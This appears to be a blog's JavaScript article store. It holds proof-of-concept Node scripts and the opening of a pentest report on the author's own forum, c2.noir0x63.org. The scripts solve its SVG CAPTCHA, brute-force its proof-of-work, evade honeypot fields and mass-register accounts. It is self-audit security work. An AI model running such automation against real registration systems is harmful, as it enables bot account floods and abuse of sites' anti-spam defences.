console.log(\` Char \${i+1}: matched='\${ch}' (\${charPoints[i].length} points)\`); } console.log(\` Captcha: \${captchaText}\`); console.log('[4] Generate keys'); const subtle = globalThis.crypto.subtle; const keyPair = await subtle.generateKey({ name: 'ECDSA', namedCurve: 'P-256' }, true, ['sign', 'verify']); const pubSpki = await subtle.exportKey('spki', keyPair.publicKey); const privPkcs8 = await subtle.exportKey('pkcs8', keyPair.privateKey); const pubB64 = Buffer.from(pubSpki).toString('base64'); const privB64 = Buffer.from(privPkcs8).toString('base64'); const username = 'x' + Date.now().toString(36).substring(4) + crypto.randomBytes(2).toString('hex'); const passphrase = crypto.randomBytes(16).toString('hex'); console.log(\` user=\${username}\`); console.log('[5] Derive keys via PBKDF2'); const enc = new TextEncoder(); const baseKey = await subtle.importKey('raw', enc.encode(passphrase), { name: 'PBKDF2' }, false, ['deriveKey', 'deriveBits']); const DOMAIN = 'c2.secure.forum'; const name = username.toLowerCase(); const authSalt = enc.encode(\`\${DOMAIN}:\${name}:auth:v2\`); const authBits = await subtle.deriveBits({ name: 'PBKDF2', salt: authSalt, iterations: 600000, hash: 'SHA-256' }, baseKey, 256); const authKey = Array.from(new Uint8Array(authBits)).map(b => b.toString(16).padStart(2, '0')).join(''); const encSalt = enc.encode(\`\${DOMAIN}:\${name}:enc:v2\`); const aesKey = await subtle.deriveKey( { name: 'PBKDF2', salt: encSalt, iterations: 600000, hash: 'SHA-256' }, baseKey, { name: 'AES-GCM', length: 256 }, true, ['encrypt', 'decrypt'] ); const iv = globalThis.crypto.getRandomValues(new Uint8Array(12)); const encPriv = await subtle.encrypt({ name: 'AES-GCM', iv }, aesKey, privPkcs8); const encPrivStr = \`\${Buffer.from(iv).toString('base64')}:\${Buffer.from(encPriv).toString('base64')}\`; console.log('[6] Register'); const regBody = { codename: username, password: authKey, publicKeySPKI: pubB64, encryptedPrivateKey: encPrivStr, email: '', captchaInput: captchaText, captchaToken, powChallenge, powSalt, }; const reg = await fetch('POST', '/api/auth/register', regBody); console.log(\` status=\${reg.status}\`, reg.body); if (reg.status === 201 || reg.status === 200) { console.log(' [✓] REGISTRATION SUCCESS!'); console.log(\` \${username} : \${passphrase}\`); console.log(' [7] Login'); const loginRes = await fetch('POST', '/api/auth/login', { codename: username, password: authKey }); console.log(\` status=\${loginRes.status}\`, loginRes.body ? 'OK' : 'FAIL'); if (loginRes.status === 200 && loginRes.body.token) { const token = loginRes.body.token; console.log(\` token=\${token.substring(0,20)}...\`); console.log(' [8] Create thread'); const nonce = crypto.randomUUID(); const timestamp = new Date().toISOString(); const payloadObj = { op: 'create-thread', title: 'SIGNAL_ACQUIRED', content: 'Proof of concept: Sybil registration bypass achieved.', author: username, nonce, timestamp }; const payload = JSON.stringify(payloadObj, Object.keys(payloadObj).sort()); const sigBytes = await subtle.sign({ name: 'ECDSA', hash: 'SHA-256' }, keyPair.privateKey, enc.encode(payload)); const signature = Buffer.from(sigBytes).toString('base64'); const threadRes = await fetch('POST', '/api/threads', { title: 'Sybil Registration Proof', content: 'Automated registration bypassing PoW (SHA-256/dif=5) + SVG vector CAPTCHA + honeypot.', category: 'web-security', signature, nonce, timestamp, }, { 'Authorization': \`Bearer \${token}\` }); console.log(\` status=\${threadRes.status}\`, threadRes.body); } return { username, passphrase }; } return null; } fullExploit().then(r => { if (r) console.log(' Done!'); else console.log(' Failed.'); }).catch(e => console.error('Error:', e)); 
// poc/05_captcha_debug.mjs (De-obfuscation Attempts)
import https from 'https'; const API = 'https://c2.noir0x63.org'; const CHAR_PATHS = { 'A': [['M', 0, 10], ['L', 5, 0], ['L', 10, 10], ['M', 2, 6], ['L', 8, 6]], 'B': [['M', 0, 0], ['L', 7, 0], ['L', 9, 2], ['L', 9, 4], ['L', 7, 5], ['L', 0, 5], ['L', 8, 5], ['L', 10, 7], ['L', 10, 9], ['L', 8, 10], ['L', 0, 10], ['L', 0, 0]], 'C': [['M', 10, 2], ['L', 8, 0], ['L', 2, 0], ['L', 0, 2], ['L', 0, 8], ['L', 2, 10], ['L', 8, 10], ['L', 10, 8]], 'D': [['M', 0, 0], ['L', 6, 0], ['L', 10, 3], ['L', 10, 7], ['L', 6, 10], ['L', 0, 10], ['L', 0, 0]], 'E': [['M', 10, 0], ['L', 0, 0], ['L', 0, 10], ['L', 10, 10], ['M', 0, 5], ['L', 8, 5]], 'F': [['M', 10, 0], ['L', 0, 0], ['L', 0, 10], ['M', 0, 5], ['L', 8, 5]], 'G': [['M', 10, 2], ['L', 8, 0], ['L', 2, 0], ['L', 0, 2], ['L', 0, 8], ['L', 2, 10], ['L', 8, 10], ['L', 10, 8], ['L', 10, 5], ['L', 5, 5]], 'H': [['M', 0, 0], ['L', 0, 10], ['M', 10, 0], ['L', 10, 10], ['M', 0, 5], ['L', 10, 5]], 'J': [['M', 8, 0], ['L', 8, 8], ['L', 6, 10], ['L', 2, 10], ['L', 0, 8]], 'K': [['M', 0, 0], ['L', 0, 10], ['M', 0, 5], ['L', 8, 0], ['M', 0, 5], ['L', 8, 10]], 'L': [['M', 0, 0], ['L', 0, 10], ['L', 10, 10]], 'M': [['M', 0, 10], ['L', 0, 0], ['L', 5, 5], ['L', 10, 0], ['L', 10, 10]], 'N': [['M', 0, 10], ['L', 0, 0], ['L', 10, 10], ['L', 10, 0]], 'P': [['M', 0, 10], ['L', 0, 0], ['L', 8, 0], ['L', 10, 2.5], ['L', 8, 5], ['L', 0, 5]], 'Q': [['M', 3, 0], ['L', 7, 0], ['L', 10, 3], ['L', 10, 7], ['L', 7, 10], ['L', 3, 10], ['L', 0, 7], ['L', 0, 3], ['L', 3, 0], ['M', 6, 6], ['L', 10, 10]], 'R': [['M', 0, 10], ['L', 0, 0], ['L', 8, 0], ['L', 10, 2.5], ['L', 8, 5], ['L', 0, 5], ['M', 5, 5], ['L', 10, 10]], 'S': [['M', 10, 2], ['L', 8, 0], ['L', 2, 0], ['L', 0, 2], ['L', 0, 4], ['L', 10, 6], ['L', 10, 8], ['L', 8, 10], ['L', 2, 10], ['L', 0, 8]], 'T': [['M', 0, 0], ['L', 10, 0], ['M', 5, 0], ['L', 5, 10]], 'U': [['M', 0, 0], ['L', 0, 8], ['L', 2, 10], ['L', 8, 10], ['L', 10, 8], ['L', 10, 0]], 'V': [['M', 0, 0], ['L', 5, 10], ['L', 10, 0]], 'W': [['M', 0, 0], ['L', 2, 10], ['L', 5, 5], ['L', 8, 10], ['L', 10, 0]], 'X': [['M', 0, 0], ['L', 10, 10], ['M', 10, 0], ['L', 0, 10]], 'Y': [['M', 0, 0], ['L', 5, 5], ['L', 10, 0], ['M', 5, 5], ['L', 5, 10]], 'Z': [['M', 0, 0], ['L', 10, 0], ['L', 0, 10], ['L', 10, 10]], '2': [['M', 0, 2], ['L', 2, 0], ['L', 8, 0], ['L', 10, 2], ['L', 10, 5], ['L', 0, 10], ['L', 10, 10]], '3': [['M', 0, 0], ['L', 10, 0], ['L', 5, 5], ['L', 10, 5], ['L', 10, 8], ['L', 8, 10], ['L', 0, 10]], '4': [['M', 0, 0], ['L', 0, 6], ['L', 10, 6], ['M', 8, 0], ['L', 8, 10]], '5': [['M', 10, 0], ['L', 0, 0], ['L', 0, 4], ['L', 8, 4], ['L', 10, 6], ['L', 10, 8], ['L', 8, 10], ['L', 0, 10]], '6': [['M', 8, 0], ['L', 2, 0], ['L', 0, 2], ['L', 0, 8], ['L', 2, 10], ['L', 8, 10], ['L', 10, 8], ['L', 10, 6], ['L', 8, 5], ['L', 0, 5]], '7': [['M', 0, 0], ['L', 10, 0], ['L', 4, 10]], '8': [['M', 3, 0], ['L', 7, 0], ['L', 10, 2], ['L', 10, 4], ['L', 7, 5], ['L', 3, 5], ['L', 0, 4], ['L', 0, 2], ['L', 3, 0], ['M', 3, 5], ['L', 7, 5], ['L', 10, 6], ['L', 10, 8], ['L', 7, 10], ['L', 3, 10], ['L', 0, 8], ['L', 0, 6], ['L', 3, 5]], '9': [['M', 10, 5], ['L', 3, 5], ['L', 0, 4], ['L', 0, 2], ['L', 3, 0], ['L', 7, 0], ['L', 10, 2], ['L', 10, 8], ['L', 8, 10], ['L', 2, 10]], }; function fetchCaptcha() { return new Promise((resolve, reject) => { const url = new URL('/api/auth/captcha', API); const req = https.request({ hostname: url.hostname, port: 443, path: url.pathname + url.search, method: 'GET', headers: { 'User-Agent': 'Mozilla/5.0', 'Accept': 'application/json', 'Referer': 'https://c2.noir0x63.org/', 'Origin': 'https://c2.noir0x63.org', }, }, (res) => { let d = ''; res.on('data', c => d += c); res.on('end', () => resolve(JSON.parse(d))); }); req.on('error', reject); req.end(); }); } async function main() { const cap = await fetchCaptcha(); const svg = Buffer.from(cap.captchaSvg, 'base64').toString(); const re = /<gs+transform="([^"]*)"[^>]*>.*?<paths+d="([^"]*)"[^>]*/?>/gs; let idx = 0; let m; const templates = {}; for (const [char, commands] of Object.entries(CHAR_PATHS)) { templates[char] = commands.map(([cmd, x, y]) => ({ cmd, x, y })); } while ((m = re.exec(svg)) !== null) { const pathStr = m[2].replace(/s+/g, ' ').trim(); const parts = pathStr.match(/[ML]s+[d.-]+s+[d.-]+/g) || []; const rawPoints = parts.map(p => { const [cmd, x, y] = p.split(/s+/); return { cmd, x: Math.round(parseFloat(x) * 100) / 100, y: Math.round(parseFloat(y) * 100) / 100 }; }); console.log(\` === Char \${++idx} (\${rawPoints.length} points) ===\`); console.log(\` Raw: \${rawPoints.map(p => \`\${p.cmd}(\${p.x}, \${p.y})\`).join(' ')}\`); let best = 'X', bestScore = Infinity; for (const [char, tpl] of Object.entries(templates)) { if (rawPoints.length !== tpl.length) continue; let score = 0, ok = true; for (let i = 0; i < tpl.length; i++) { if (rawPoints[i].cmd !== tpl[i].cmd) { ok = false; break; } const dx = Math.abs(rawPoints[i].x - tpl[i].x); const dy = Math.abs(rawPoints[i].y - tpl[i].y); if (dx > 0.5 || dy > 0.5) { ok = false; break; } score += dx + dy; } if (ok && score < bestScore) { bestScore = score; best = char; } } console.log(\` Best match: \${best} (score=\${bestScore})\`); if (best === 'X') { console.log(\` Length \${rawPoints.length}: templates with same length:\`); for (const [char, tpl] of Object.entries(templates)) { if (rawPoints.length === tpl.length) { console.log(\` \${char}: \${tpl.map(p => \`\${p.cmd}(\${p.x},\${p.y})\`).join(' ')}\`); } } } } } main().catch(e => console.error(e)); 
// poc/07_bezier_solver.mjs (Polynomial Approximation)
import https from 'https'; import crypto from 'crypto'; const API = 'https://c2.noir0x63.org'; const CHAR_PATHS = { 'A':[['M',0,10],['L',5,0],['L',10,10],['M',2,6],['L',8,6]],'B':[['M',0,0],['L',7,0],['L',9,2],['L',9,4],['L',7,5],['L',0,5],['L',8,5],['L',10,7],['L',10,9],['L',8,10],['L',0,10],['L',0,0]],'C':[['M',10,2],['L',8,0],['L',2,0],['L',0,2],['L',0,8],['L',2,10],['L',8,10],['L',10,8]],'D':[['M',0,0],['L',6,0],['L',10,3],['L',10,7],['L',6,10],['L',0,10],['L',0,0]],'E':[['M',10,0],['L',0,0],['L',0,10],['L',10,10],['M',0,5],['L',8,5]],'F':[['M',10,0],['L',0,0],['L',0,10],['M',0,5],['L',8,5]],'G':[['M',10,2],['L',8,0],['L',2,0],['L',0,2],['L',0,8],['L',2,10],['L',8,10],['L',10,8],['L',10,5],['L',5,5]],'H':[['M',0,0],['L',0,10],['M',10,0],['L',10,10],['M',0,5],['L',10,5]],'J':[['M',8,0],['L',8,8],['L',6,10],['L',2,10],['L',0,8]],'K':[['M',0,0],['L',0,10],['M',0,5],['L',8,0],['M',0,5],['L',8,10]],'L':[['M',0,0],['L',0,10],['L',10,10]],'M':[['M',0,10],['L',0,0],['L',5,5],['L',10,0],['L',10,10]],'N':[['M',0,10],['L',0,0],['L',10,10],['L',10,0]],'P':[['M',0,10],['L',0,0],['L',8,0],['L',10,2.5],['L',8,5],['L',0,5]],'R':[['M',0,10],['L',0,0],['L',8,0],['L',10,2.5],['L',8,5],['L',0,5],['M',5,5],['L',10,10]],'S':[['M',10,2],['L',8,0],['L',2,0],['L',0,2],['L',0,4],['L',10,6],['L',10,8],['L',8,10],['L',2,10],['L',0,8]],'T':[['M',0,0],['L',10,0],['M',5,0],['L',5,10]],'U':[['M',0,0],['L',0,8],['L',2,10],['L',8,10],['L',10,8],['L',10,0]],'V':[['M',0,0],['L',5,10],['L',10,0]],'W':[['M',0,0],['L',2,10],['L',5,5],['L',8,10],['L',10,0]],'X':[['M',0,0],['L',10,10],['M',10,0],['L',0,10]],'Y':[['M',0,0],['L',5,5],['L',10,0],['M',5,5],['L',5,10]],'Z':[['M',0,0],['L',10,0],['L',0,10],['L',10,10]],'2':[['M',0,2],['L',2,0],['L',8,0],['L',10,2],['L',10,5],['L',0,10],['L',10,10]],'3':[['M',0,0],['L',10,0],['L',5,5],['L',10,5],['L',10,8],['L',8,10],['L',0,10]],'4':[['M',0,0],['L',0,6],['L',10,6],['M',8,0],['L',8,10]],'5':[['M',10,0],['L',0,0],['L',0,4],['L',8,4],['L',10,6],['L',10,8],['L',8,10],['L',0,10]],'6':[['M',8,0],['L',2,0],['L',0,2],['L',0,8],['L',2,10],['L',8,10],['L',10,8],['L',10,6],['L',8,5],['L',0,5]],'7':[['M',0,0],['L',10,0],['L',4,10]],'8':[['M',3,0],['L',7,0],['L',10,2],['L',10,4],['L',7,5],['L',3,5],['L',0,4],['L',0,2],['L',3,0],['M',3,5],['L',7,5],['L',10,6],['L',10,8],['L',7,10],['L',3,10],['L',0,8],['L',0,6],['L',3,5]],'9':[['M',10,5],['L',3,5],['L',0,4],['L',0,2],['L',3,0],['L',7,0],['L',10,2],['L',10,8],['L',8,10],['L',2,10]]}; const templates = {}; for (const [c, cmds] of Object.entries(CHAR_PATHS)) templates[c] = cmds.map(([cmd, x, y]) => ({ cmd, x, y })); function fetchJSON(method, path, body = null, extraHeaders = {}) { return new Promise((r, j) => { const u = new URL(path, API); const q = https.request({ hostname: u.hostname, port: 443, path: u.pathname + u.search, method, headers: { 'Content-Type': 'application/json', 'User-Agent': 'Mozilla/5.0', 'Accept': 'application/json', ...extraHeaders }, }, (s) => { let d = ''; s.on('data', c => d += c); s.on('end', () => { try { r({ s: s.statusCode, b: JSON.parse(d) }); } catch { r({ s: s.statusCode, b: d }); } }); }); q.on('error', j); if (body) q.write(JSON.stringify(body)); q.end(); }); } function extractEndpointsFromBezier(d) { const points = []; const segs = d.match(/[MC][sS]*?(?=[MC]|$)/g) || []; for (const seg of segs) { const trimmed = seg.trim(); const cmd = trimmed[0]; const rest = trimmed.substring(1).trim(); const parts = rest.split(/s+/).filter(s => s.length > 0).map(parseFloat); if (cmd === 'M' && parts.length >= 2) { points.push({ cmd: 'M', x: Math.round(parts[0] * 100) / 100, y: Math.round(parts[1] * 100) / 100 }); } else if (cmd === 'C' && parts.length >= 6) { const ex = parts[parts.length - 2]; const ey = parts[parts.length - 1]; points.push({ cmd: 'L', x: Math.round(ex * 100) / 100, y: Math.round(ey * 100) / 100 }); } } return points; } function matchCharacter(extractedPoints) { let best = 'X', bestScore = Infinity; for (const [char, tpl] of Object.entries(templates)) { if (extractedPoints.length !== tpl.length) continue; let score = 0, ok = true; for (let i = 0; i < tpl.length; i++) { if (extractedPoints[i].cmd !== tpl[i].cmd) { ok = false; break; } const dx = Math.abs(extractedPoints[i].x - tpl[i].x); const dy = Math.abs(extractedPoints[i].y - tpl[i].y); if (dx > 2.0 || dy > 2.0) { ok = false; break; } score += dx + dy; } if (ok && score < bestScore) { bestScore = score; best = char; } } return best; } function solveCaptcha(svgBase64) { const svg = Buffer.from(svgBase64, 'base64').toString(); const groupRe = /<g transform="[^"]*"[^>]*>([sS]*?)</g>/g; let result = '', gm; while ((gm = groupRe.exec(svg)) !== null) { const content = gm[1]; const pathRe = /<paths+d="([^"]*)"/g; let pm, allPoints = []; while ((pm = pathRe.exec(content)) !== null) { const points = extractEndpointsFromBezier(pm[1]); allPoints = allPoints.concat(points); } const ch = matchCharacter(allPoints); result += ch; } return result; } function solvePoW(challenge, difficulty) { const target = '0'.repeat(difficulty); for (let nonce = 0; nonce < 20_000_000; nonce++) { const hash = crypto.createHash('sha256').update(challenge + nonce).digest('hex'); if (hash.startsWith(target)) return String(nonce); } throw new Error('PoW unsolved'); } async function main() { console.log('[1] Fetch CAPTCHA'); const cap = await fetchJSON('GET', '/api/auth/captcha'); const { captchaSvg, captchaToken, powChallenge, powDifficulty, captchaIssuedAt, honeypotFields, hpToken } = cap.b; console.log(' Got captcha, powDifficulty=' + powDifficulty); console.log('[2] Solve CAPTCHA'); const captchaText = solveCaptcha(captchaSvg); console.log(' Captcha: ' + captchaText); console.log('[3] Solve PoW'); const powSalt = solvePoW(powChallenge, powDifficulty); console.log(' salt: ' + powSalt); console.log('[4] Generate keys'); const subtle = globalThis.crypto.subtle; const enc = new TextEncoder(); const kp = await subtle.generateKey({ name: 'ECDSA', namedCurve: 'P-256' }, true, ['sign', 'verify']); const pubB64 = Buffer.from(await subtle.exportKey('spki', kp.publicKey)).toString('base64'); const privB64 = Buffer.from(await subtle.exportKey('pkcs8', kp.privateKey)).toString('base64'); const user = 'b' + Date.now().toString(36).substring(4) + crypto.randomBytes(2).toString('hex'); const pass = crypto.randomBytes(16).toString('hex'); const name = user.toLowerCase(); const DOMAIN = 'c2.secure.forum'; console.log('[5] PBKDF2'); const baseKey = await subtle.importKey('raw', enc.encode(pass), { name: 'PBKDF2' }, false, ['deriveKey', 'deriveBits']); const authKey = Array.from(new Uint8Array(await subtle.deriveBits({ name: 'PBKDF2', salt: enc.encode(DOMAIN + ':' + name + ':auth:v2'), iterations: 600000, hash: 'SHA-256' }, baseKey, 256))).map(b => b.toString(16).padStart(2, '0')).join(''); const aesKey = await subtle.deriveKey({ name: 'PBKDF2', salt: enc.encode(DOMAIN + ':' + name + ':enc:v2'), iterations: 600000, hash: 'SHA-256' }, baseKey, { name: 'AES-GCM', length: 256 }, true, ['encrypt', 'decrypt']); const iv = globalThis.crypto.getRandomValues(new Uint8Array(12)); const encPrivStr = Buffer.from(iv).toString('base64') + ':' + Buffer.from(await subtle.encrypt({ name: 'AES-GCM', iv }, aesKey, await subtle.exportKey('pkcs8', kp.privateKey))).toString('base64'); console.log('[6] Register ' + user); const regBody = { codename: user, password: authKey, publicKeySPKI: pubB64, encryptedPrivateKey: encPrivStr, captchaInput: captchaText, captchaToken, powChallenge, powSalt, hpToken, captchaIssuedAt, }; for (const f of (honeypotFields || [])) { regBody[f.name] = ''; } const reg = await fetchJSON('POST', '/api/auth/register', regBody); console.log(' status: ' + reg.s + ' ' + JSON.stringify(reg.b)); if (reg.s === 201) { console.log(' [✓] REGISTERED!'); const login = await fetchJSON('POST', '/api/auth/login', { codename: user, password: authKey }); if (login.s === 200) { const token = login.b.token; console.log('Token: ' + token.substring(0, 20) + '...'); const nonce = crypto.randomUUID(); const ts = new Date().toISOString(); const po = { op: 'create-thread', title: 'Bezier Bypass', content: 'New CAPTCHA solved via endpoint extraction.', author: user, nonce, timestamp: ts }; const payload = JSON.stringify(po, Object.keys(po).sort()); const sig = Buffer.from(await subtle.sign({ name: 'ECDSA', hash: 'SHA-256' }, kp.privateKey, enc.encode(payload))).toString('base64'); const thread = await fetchJSON('POST', '/api/threads', { title: 'Bezier Bypass', content: 'New CAPTCHA with bezier curves solved via endpoint extraction.', category: 'web-security', signature: sig, nonce, timestamp: ts }, { 'Authorization': 'Bearer ' + token }); console.log('Thread: ' + thread.s + ' ' + JSON.stringify(thread.b)); } } } main().catch(e => console.error('Error:', e)); 
// poc/08_bezier_debug.mjs (Curve Terminal Extraction)
import https from 'https'; function fetch(p) { return new Promise((r, j) => { const u = new URL(p, 'https://c2.noir0x63.org'); const q = https.request({ hostname: u.hostname, port: 443, path: u.pathname + u.search, method: 'GET', headers: { 'User-Agent': 'Mozilla/5.0' } }, (s) => { let d = ''; s.on('data', c => d += c); s.on('end', () => r(JSON.parse(d))); }); q.on('error', j); q.end(); }); } const CHAR_PATHS = { 'A':[['M',0,10],['L',5,0],['L',10,10],['M',2,6],['L',8,6]],'B':[['M',0,0],['L',7,0],['L',9,2],['L',9,4],['L',7,5],['L',0,5],['L',8,5],['L',10,7],['L',10,9],['L',8,10],['L',0,10],['L',0,0]],'C':[['M',10,2],['L',8,0],['L',2,0],['L',0,2],['L',0,8],['L',2,10],['L',8,10],['L',10,8]],'D':[['M',0,0],['L',6,0],['L',10,3],['L',10,7],['L',6,10],['L',0,10],['L',0,0]],'E':[['M',10,0],['L',0,0],['L',0,10],['L',10,10],['M',0,5],['L',8,5]],'F':[['M',10,0],['L',0,0],['L',0,10],['M',0,5],['L',8,5]],'G':[['M',10,2],['L',8,0],['L',2,0],['L',0,2],['L',0,8],['L',2,10],['L',8,10],['L',10,8],['L',10,5],['L',5,5]],'H':[['M',0,0],['L',0,10],['M',10,0],['L',10,10],['M',0,5],['L',10,5]],'J':[['M',8,0],['L',8,8],['L',6,10],['L',2,10],['L',0,8]],'K':[['M',0,0],['L',0,10],['M',0,5],['L',8,0],['M',0,5],['L',8,10]],'L':[['M',0,0],['L',0,10],['L',10,10]],'M':[['M',0,10],['L',0,0],['L',5,5],['L',10,0],['L',10,10]],'N':[['M',0,10],['L',0,0],['L',10,10],['L',10,0]],'P':[['M',0,10],['L',0,0],['L',8,0],['L',10,2.5],['L',8,5],['L',0,5]],'R':[['M',0,10],['L',0,0],['L',8,0],['L',10,2.5],['L',8,5],['L',0,5],['M',5,5],['L',10,10]],'S':[['M',10,2],['L',8,0],['L',2,0],['L',0,2],['L',0,4],['L',10,6],['L',10,8],['L',8,10],['L',2,10],['L',0,8]],'T':[['M',0,0],['L',10,0],['M',5,0],['L',5,10]],'U':[['M',0,0],['L',0,8],['L',2,10],['L',8,10],['L',10,8],['L',10,0]],'V':[['M',0,0],['L',5,10],['L',10,0]],'W':[['M',0,0],['L',2,10],['L',5,5],['L',8,10],['L',10,0]],'X':[['M',0,0],['L',10,10],['M',10,0],['L',0,10]],'Y':[['M',0,0],['L',5,5],['L',10,0],['M',5,5],['L',5,10]],'Z':[['M',0,0],['L',10,0],['L',0,10],['L',10,10]],'2':[['M',0,2],['L',2,0],['L',8,0],['L',10,2],['L',10,5],['L',0,10],['L',10,10]],'3':[['M',0,0],['L',10,0],['L',5,5],['L',10,5],['L',10,8],['L',8,10],['L',0,10]],'4':[['M',0,0],['L',0,6],['L',10,6],['M',8,0],['L',8,10]],'5':[['M',10,0],['L',0,0],['L',0,4],['L',8,4],['L',10,6],['L',10,8],['L',8,10],['L',0,10]],'6':[['M',8,0],['L',2,0],['L',0,2],['L',0,8],['L',2,10],['L',8,10],['L',10,8],['L',10,6],['L',8,5],['L',0,5]],'7':[['M',0,0],['L',10,0],['L',4,10]],'8':[['M',3,0],['L',7,0],['L',10,2],['L',10,4],['L',7,5],['L',3,5],['L',0,4],['L',0,2],['L',3,0],['M',3,5],['L',7,5],['L',10,6],['L',10,8],['L',7,10],['L',3,10],['L',0,8],['L',0,6],['L',3,5]],'9':[['M',10,5],['L',3,5],['L',0,4],['L',0,2],['L',3,0],['L',7,0],['L',10,2],['L',10,8],['L',8,10],['L',2,10]]}; const templates = {}; for (const [c, cmds] of Object.entries(CHAR_PATHS)) templates[c] = cmds; function extractEndpoints(d) { const points = []; const segs = d.match(/[MC][sS]*?(?=[MC]|$)/g) || []; for (const seg of segs) { const parts = seg.trim().split(/s+/); const cmd = parts[0]; if (cmd === 'M') { points.push({ cmd: 'M', x: Math.round(parseFloat(parts[1]) * 100) / 100, y: Math.round(parseFloat(parts[2]) * 100) / 100 }); } else { const ex = parseFloat(parts[parts.length - 2]); const ey = parseFloat(parts[parts.length - 1]); points.push({ cmd: 'L', x: Math.round(ex * 100) / 100, y: Math.round(ey * 100) / 100 }); } } return points; } async function main() { const cap = await fetch('/api/auth/captcha'); const svg = Buffer.from(cap.captchaSvg, 'base64').toString(); const groupRe = /<g transform="([^"]*)"[^>]*>([sS]*?)</g>/g; let idx = 0, gm; while ((gm = groupRe.exec(svg)) !== null) { const transform = gm[1]; const content = gm[2]; const pathRe = /<paths+d="([^"]*)"/g; let pm, allPoints = []; while ((pm = pathRe.exec(content)) !== null) { const ep = extractEndpoints(pm[1]); allPoints = allPoints.concat(ep); } console.log(\` === Char \${++idx} (\${allPoints.length} points) ===\`); console.log(\` Transform: \${transform}\`); console.log(\` Extracted: \${allPoints.map(p => \`\${p.cmd}(\${p.x},\${p.y})\`).join(' ')}\`); let best = 'X', bestScore = Infinity; for (const [char, tpl] of Object.entries(templates)) { if (allPoints.length !== tpl.length) continue; let score = 0, ok = true; for (let i = 0; i < tpl.length; i++) { if (allPoints[i].cmd !== tpl[i][0]) { ok = false; break; } const dx = Math.abs(allPoints[i].x - tpl[i][1]); const dy = Math.abs(allPoints[i].y - tpl[i][2]); if (dx > 1.5 || dy > 1.5) { ok = false; break; } score += dx + dy; } if (ok && score < bestScore) { bestScore = score; best = char; } } console.log(\` Best: \${best} (score=\${bestScore})\`); if (best === 'X') { for (const [char, tpl] of Object.entries(templates)) { if (allPoints.length === tpl.length) { console.log(\` Template \${char}: \${tpl.map(t => \`\${t[0]}(\${t[1]},\${t[2]})\`).join(' ')}\`); } } } } } main().catch(e => console.error(e)); 
` }; window.ARTICLES_CONTENT['c2-pentest-bbox-2'] = { title: "C2 Forum Audit — Blackbox Pt 2: Remediation, Persistence & Final Verdict", date: "2026-06-27", author: "Eduardo Camarillo [Noir0x63]", version: "PENTEST REPORT", content: `

Blackbox Pt 2: Remediation & Final Verdict

Status:Estado: SECURE - PASSED
Target:Objetivo: c2.noir0x63.org (v2.0)
Auditor:Auditor: Noir0x63

Exploitation Report — C2 Forum (noir0x63.org)

Version: 2.0
Dates: June 27, 2026 (Session 1 + Session 2)
Target: https://c2.noir0x63.org
Source repository: https://github.com/Noir0x63/Command-Control-Forum
System author: Noir0x63 (Eduardo Camarillo)
Methodology: Session 1 with source access (whitebox) → Session 2 live (blackbox)


Table of Contents

  1. Executive Summary
  2. Session 1: Whitebox — Analysis and Exploitation
  3. Session 2: Blackbox — Re-test in Production
  4. Version Comparison
  5. Patched Vulnerabilities
  6. Persistent Vulnerabilities (unverified)
  7. Artifacts
  8. Chronology
  9. Conclusions

1. Executive Summary

Two penetration testing sessions were conducted against the Command & Control Forum system, a forum platform with a Zero-Trust model and ECDSA P-256 asymmetric cryptography.

Consolidated Results

ChallengeSession 1 (Whitebox)Session 2 (Blackbox)
#1 Signature Forgery❌ Not exploitable❌ Not exploitable
#2 Sybil Registration✅ EXPLOITED❌ BLOCKED by patch
#3 State Corruption✅ EXPLOITED❌ Not verifiable (requires auth)

Findings

IDVulnerabilityStatus
C2-001CAPTCHA based on M/L paths with ±0.4px jitter✅ FIXED — now uses Bezier curves C
C2-002Anti-replay nonces only in RAM (Map) with 5min cleanup❌ Not verified in v2
C2-003Boundary check with > instead of >=❌ Not verified in v2
C2-004Fixed honeypot with 1 field (email)✅ FIXED — now 3 dynamic fields + hpToken
C2-005Differentiated registration errors✅ FIXED — now generic REGISTRATION_REJECTED
C2-006CAPTCHA token without captchaIssuedAt✅ FIXED — now includes server-side timestamp
C2-007Template coordinates visible in public source✅ FIXED — paths are now Bezier curves

2. Session 1: Whitebox — Analysis and Exploitation

2.1 Initial Reconnaissance

URL: https://c2.noir0x63.org/?view=thread-detail&id=9286a2d1377d9970d99029803f3a95b3 

Mapped Endpoints

EndpointMethodAuthResponse
/api/threadsGETNo200 + public threads
/api/threadsPOSTYesThread creation
/api/threads/:id/repliesGETNo200 + replies
/api/auth/captchaGETNo200 + captchaSvg + token + PoW
/api/auth/loginPOSTNo200/401
/api/auth/registerPOSTNo200/400/409
/api/auth/logoutPOSTYes200
/api/users/:codenameGETYes403 without auth
/api/nodesGETYesList of nodes
/api/profilePUTYesUpdate bio
/api/moderation/banPOSTCOMMANDERBan user
/api/moderation/unbanPOSTCOMMANDERUnban user
/api/moderation/warnPOSTCOMMANDERWarn user
/api/moderation/users/:cDELETECOMMANDERPurge user

Rate Limiting Detected

Ratelimit-Limit: 10 Ratelimit-Policy: 10;w=900 

Auth endpoints: 10 requests / 15 min
Write endpoints: 20 requests / 1 min
Captcha endpoint: No rate limit

2.2 Source Code Reverse Engineering

Repository found on GitHub:

https://github.com/Noir0x63/Command-Control-Forum 

Key Files

server/ ├── server.js # Express + SQLite + Socket.io + ECDSA verify ├── setup.js # CLI para cuentas COMMANDER (solo servidor físico) ├── package.json └── server/ ├── captcha.js # CAPTCHA vectorial + PoW SHA-256 └── workers/ └── hash-worker.js # scrypt N=131072 public/ ├── index.html ├── index.css └── app.js # SPA + WebCrypto 

Technology Stack

ComponentTechnology
BackendNode.js + Express
DatabaseSQLite3 (WAL mode)
Authenticationcrypto.randomBytes(32) hex tokens, cookies httpOnly+secure+SameSite Strict
Password hashingscrypt N=131072 (worker threads)
SignaturesECDSA P-256 via crypto.createVerify('SHA256')
CAPTCHASVG paths + HMAC-SHA256
PoWSHA-256 with difficulty 5
Rate limitingSQLite-backed, persistent

Analysis of captcha.js

const CHAR_PATHS = { 'A': [['M', 0, 10], ['L', 5, 0], ['L', 10, 10], ['M', 2, 6], ['L', 8, 6]], 'B': [['M', 0, 0], ['L', 7, 0], ['L', 9, 2], ['L', 9, 4], ['L', 7, 5], ['L', 0, 5], ['L', 8, 5], ['L', 10, 7], ['L', 10, 9], ['L', 8, 10], ['L', 0, 10], ['L', 0, 0]], ... '9': [['M', 10, 5], ['L', 3, 5], ['L', 0, 4], ['L', 0, 2], ['L', 3, 0], ['L', 7, 0], ['L', 10, 2], ['L', 10, 8], ['L', 8, 10], ['L', 2, 10]] }; 

